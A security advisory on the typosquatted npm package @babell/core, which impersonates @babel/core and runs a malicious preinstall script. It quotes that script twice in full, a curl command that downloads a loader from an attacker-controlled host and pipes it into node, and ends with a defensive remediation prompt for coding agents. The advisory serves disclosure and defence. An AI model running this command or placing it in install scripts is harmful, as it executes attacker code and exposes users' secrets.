# MAL-2026-17497: Malicious code in @babell/core (npm)


- **Type:** Malicious package
- **Package:** `@babell/core` (npm)
- **Published:** 3 Oct 2026

## What is MAL-2026-17497?

MAL-2026-17497 is a malicious package in @babell/core, published on 3 Oct 2026. 

### Official description

@babell/core@8.0.6 impersonates @babel/core (it copies the code and metadata of @babel/core) and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account angularr published @babell/core and 5 similar packages on 2026-10-03 between 06:33 and 07:23 UTC, all with the same preinstall script.

The package's package.json defines a preinstall lifecycle script that runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, downloading a JavaScript file from a third-party host (gitflic.ru/hellscripter, fetched through web.archive.org) and piping it directly into Node for execution at install time. The content fetched is unpinned, served from a non-publisher host unrelated to Babel, and executed with the privileges of the installing user. The package name `@babell/core` differs from the legitimate `@babel/core` by a single character, and its description, author, repository, homepage, and README all impersonate the real Babel project, serving as a delivery vehicle for the dropper.

## What should I do about MAL-2026-17497?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-17497 is a malicious package: @babell/core (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-17497/ (Markdown: https://insights.sbomify.com/MAL-2026-17497/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-17497

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-17497/
Summaries are generated and may contain mistakes; the official description above is the record.